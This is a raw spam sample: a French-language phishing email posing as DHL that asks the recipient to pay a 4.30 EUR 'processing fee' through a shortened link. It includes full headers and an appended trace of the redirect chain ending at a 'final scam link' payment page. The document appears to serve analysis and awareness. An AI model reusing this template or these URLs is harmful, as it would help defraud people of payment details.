dhl mailspam

From - Tue Feb 11 08:51:02 2020
X-Account-Key: account3
X-UIDL: 1042748947.56540
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <SERVICE@DHL.COM>
Received: from mx2.mail.bg ([unix socket])
	 by stor3 (Cyrus 2.5.10-Debian-2.5.10-3) with LMTPA;
	 Mon, 10 Feb 2020 22:03:25 +0200
X-Sieve: CMU Sieve 2.4
X-Spam-Checker-Version: SpamAssassin 3.4.2 (2018-09-13) on stor3.stor3
X-Spam-Level: ***
X-Spam-Status: No, score=3.6 required=5.0 tests=BAYES_20,HTML_MESSAGE,
	MIME_HTML_ONLY,RCVD_IN_RP_RNBL,RDNS_NONE,SPF_SOFTFAIL,
	TVD_FW_GRAPHIC_NAME_MID shortcircuit=no autolearn=no
	autolearn_force=no version=3.4.2
Received-SPF: softfail (dhl.com: Sender is not authorized by default to use 'SERVICE@DHL.COM' in 'mfrom' identity, however domain is not currently prepared for false failures (mechanism '~all' matched)) receiver=mx3.mail.bg; identity=mailfrom; envelope-from="SERVICE@DHL.COM"; helo=DHL.COM; client-ip=193.26.21.148
Received: from DHL.COM (unknown [193.26.21.148])
	by mx2.mail.bg (Postfix) with ESMTP id 42CB141805DA
	for <@mail.bg>; Mon, 10 Feb 2020 22:03:23 +0200 (EET)
From: SERVICE@DHL.COM
To: @mail.bg
Subject: =?UTF-8?B?4pyIIFN1aXZleiBWb3RyZSBDb2xpcyB8REhMfCBOb3RpZmljYXRpb24=?=
Date: 10 Feb 2020 20:03:23 +0100
Message-ID: <20200210200323.F1B911F7BAE80331@DHL.COM>
MIME-Version: 1.0
Content-Type: multipart/related;
	boundary="----=_NextPart_000_0012_8F9122FF.4E4CD4B4"


------=_NextPart_000_0012_8F9122FF.4E4CD4B4
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.=
w3.org/TR/html4/loose.dtd">

<HTML><HEAD>
<META name=3DGENERATOR content=3D"MSHTML 11.00.9600.17037"></HEAD>
<BODY style=3D"MARGIN: 0.5em">
<P style=3D"FONT-SIZE: 13px; FONT-FAMILY: Helvetica, Arial, sans-serif; WHI=
TE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: nor=
mal; COLOR: rgb(102,102,102); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LE=
TTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px"=
>
<A title=3DRetour&nbsp;&agrave;&nbsp;la&nbsp;page&nbsp;d&#8217;accueil styl=
e=3D"FONT-SIZE: 10px; TEXT-DECORATION: underline; FONT-FAMILY: Arial, Helve=
tica, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: n=
one; FONT-WEIGHT: 400; COLOR: rgb(204,0,0); PADDING-BOTTOM: 0px; FONT-STYLE=
: normal; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; ORPHANS: 2; WID=
OWS: 2; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(2=
55,204,0); TEXT-INDENT: 0px;=20
-webkit-text-stroke-width: 0px; font-variant-ligatures: normal; font-varian=
t-caps: normal" href=3D"http://www.dhl-ma.com/exp-fr.html">
<img id=3D"logo" class=3D"logo" style=3D"BORDER-TOP: medium none; BORDER-RI=
GHT: medium none; BORDER-BOTTOM: medium none; FLOAT: left; PADDING-BOTTOM: =
0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0.6em 0px 1em; BORDER-LEF=
T: medium none; PADDING-RIGHT: 0px" alt=3D"Retour&nbsp;&agrave;&nbsp;la&nbs=
p;page&nbsp;d&#146;accueil" src=3D"cid:dhllogo.gif" width=3D"134" height=3D=
"42">
 <img class=3D"blank_gif" style=3D"BORDER-TOP: medium none; BORDER-RIGHT: m=
edium none; BORDER-BOTTOM: medium none; PADDING-BOTTOM: 0px; PADDING-TOP: 0=
px; PADDING-LEFT: 0px; MARGIN: 0px; BORDER-LEFT: medium none; PADDING-RIGHT=
: 0px" alt=3D"Retour&nbsp;&agrave;&nbsp;la&nbsp;page&nbsp;d&#146;accueil" s=
rc=3D"cid:blank.gif"></A><BR><BR><BR><BR><BR><BR>Cher client,</P>
<P style=3D"FONT-SIZE: 13px; FONT-FAMILY: Helvetica, Arial, sans-serif; WHI=
TE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: nor=
mal; COLOR: rgb(102,102,102); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LE=
TTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px"=
>Votre colis a &eacute;t&eacute; retourn&eacute; au bureau DHL.<BR>La raiso=
n du retour est: paiement des frais d'exp&eacute;dition.<BR>
le co&ucirc;t de votre envoi ne sont pas pay&eacute;s, vous devrez payer de=
s frais de traitement de <STRONG><FONT color=3D#808080 size=3D2 face=3DTaho=
ma>4,30 &#8364;</FONT></STRONG><BR>Vous disposez d'un d&eacute;lai de 48 he=
ures pour r&eacute;cup&eacute;rer votre colis, sinon il sera renvoy&eacute;=
 &agrave; l'exp&eacute;diteur.<BR></P>
<UL style=3D"MARGIN-TOP: 0px">
<LI><FONT size=3D2 face=3DTahoma><A href=3D"http://bit.do/fsKbL">Cliquez ic=
i pour voir l'&eacute;tat de votre envoi</A></FONT><BR><FONT size=3D2><BR><=
BR><BR></FONT>
<FONT style=3D"FONT-FAMILY: arial, sans-serif; WHITE-SPACE: normal; WORD-SP=
ACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(34,34,34); F=
ONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUN=
D-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px=
; font-variant-ligatures: normal; font-variant-caps: normal; text-decoratio=
n-style: initial; text-decoration-color: initial" size=3D3><SPAN>
<SPAN style=3D'FONT-SIZE: 14px; FONT-FAMILY: "Segoe UI", "Segoe UI Web (Wes=
t European)", "Segoe UI", -apple-system, BlinkMacSystemFont, Roboto, "Helve=
tica Neue", sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSF=
ORM: none; FLOAT: none; FONT-WEIGHT: 400; COLOR: rgb(32,31,30); FONT-STYLE:=
 normal; ORPHANS: 2; WIDOWS: 2; DISPLAY: inline !important; LETTER-SPACING:=
 normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text=
-stroke-width: 0px; font-variant-ligatures: normal;=20
font-variant-caps: normal; text-decoration-style: initial; text-decoration-=
color: initial'>Cordialement,</SPAN>
 <BR style=3D'FONT-SIZE: 14px; FONT-FAMILY: "Segoe UI", "Segoe UI Web (West=
 European)", "Segoe UI", -apple-system, BlinkMacSystemFont, Roboto, "Helvet=
ica Neue", sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFO=
RM: none; FONT-WEIGHT: 400; COLOR: rgb(32,31,30); FONT-STYLE: normal; ORPHA=
NS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255=
); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px; font-variant-ligatures=
: normal; font-variant-caps: normal;=20
text-decoration-style: initial; text-decoration-color: initial; -webkit-fon=
t-smoothing: antialiased'>
<SPAN style=3D'FONT-SIZE: 14px; FONT-FAMILY: "Segoe UI", "Segoe UI Web (Wes=
t European)", "Segoe UI", -apple-system, BlinkMacSystemFont, Roboto, "Helve=
tica Neue", sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSF=
ORM: none; FLOAT: none; FONT-WEIGHT: 400; COLOR: rgb(32,31,30); FONT-STYLE:=
 normal; ORPHANS: 2; WIDOWS: 2; DISPLAY: inline !important; LETTER-SPACING:=
 normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text=
-stroke-width: 0px; font-variant-ligatures: normal;=20
font-variant-caps: normal; text-decoration-style: initial; text-decoration-=
color: initial'>L'&eacute;quipe d'assistance<SPAN>&nbsp;</SPAN></SPAN>
 <SPAN class=3Dmarkkotahosm5 style=3D'BORDER-LEFT-WIDTH: 0px; FONT-SIZE: 14=
px; FONT-FAMILY: "Segoe UI", "Segoe UI Web (West European)", "Segoe UI", -a=
pple-system, BlinkMacSystemFont, Roboto, "Helvetica Neue", sans-serif; BORD=
ER-RIGHT-WIDTH: 0px; VERTICAL-ALIGN: baseline; WHITE-SPACE: normal; BORDER-=
BOTTOM-WIDTH: 0px; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 40=
0; COLOR: rgb(32,31,30); PADDING-BOTTOM: 0px; FONT-STYLE: normal; PADDING-T=
OP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; ORPHANS: 2;=20
WIDOWS: 2; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BORDER-TOP-WIDTH: 0p=
x; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-strok=
e-width: 0px; font-variant-ligatures: normal; font-variant-caps: normal; te=
xt-decoration-style: initial; text-decoration-color: initial; -webkit-font-=
smoothing: antialiased; font-variant-numeric: inherit; font-variant-east-as=
ian: inherit; font-stretch: inherit' data-ogsb=3D"" data-ogsc=3D"" data-oga=
b=3D"" data-ogac=3D"" data-markjs=3D"true">DHL</SPAN></SPAN>
 </FONT></LI></UL></BODY></HTML>
------=_NextPart_000_0012_8F9122FF.4E4CD4B4
Content-Type: image/gif; name="dhllogo.gif"
Content-Transfer-Encoding: base64
Content-ID: <dhllogo.gif>

R0lGODlhhgAqAKIAANkzAM8NAPmyAN9NAOlyAPKZAMwAAP/MACH5BAAAAAAALAAAAACGACoA
AAP/eLrc/jDKSau9OOvNu/9gKI5kaZ5oqq5s675wLM90bd94ru987//AoFA4MBiPyKTyGBgI
IIQl8qkoSI9UwNVI6Fm34GSAyhAEtl2FGa2IbgG9dXhuDDi0V/gCL9XLpWM9fHRzBQxFV4EK
iIBPAoNLhjyMhHNpB19XZJlSVJRLAz4Fo6SlpqduUml/SwAErwRnV2mpfUMHAgQAu7y9DJBI
isCVSH6yjbefSXoHtUqSysRMWWCSQs5iVKxJoZjSV9Bg3ULbSdbRRsbfS2mcrWRBw0fjVaej
2vb5+qQLAvsF8FjkgkWwYMED6Jj0WtiLii6GvhY8hLhrD8WLELsY3PiKgIKASgD8reNWpVo/
k81GTvtoyeM/UwLKSesmc16/Y6DUqDwC8GUpCu62hJJHKMAlogaYHUDKLOjMpYQuRfDn8wk2
YiElblGUMhGZmnRCUvUJEOicMU7DOimDEhcYqbgG4CwqshLcW3jz6t3Lt6/fv4ADCx5MuLDh
w4gTK17MWEgCADs=

------=_NextPart_000_0012_8F9122FF.4E4CD4B4
Content-Type: image/gif; name="blank.gif"
Content-Transfer-Encoding: base64
Content-ID: <blank.gif>

R0lGODlhAQABAIAAAPb29gAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==

------=_NextPart_000_0012_8F9122FF.4E4CD4B4--


Link in email
http://bit.do/fsKbL - 301

Jumphost
http://9d93983c4e2590643.tempsite.link/D6F98D56DC6ZWS3Z6/F6S65RTPLEOAZ510004/TRACKING/ -

Yet Another redirect
http://bit.ly/37gPGue - 301

Final scam link
http://bab96c22682590614.temporary.link/SD3655FRPMFKCNREROPA/65856DEERPMFCKEZ/service-express/trouver-tracking-number/direct-sop/chargement-loading-pay.html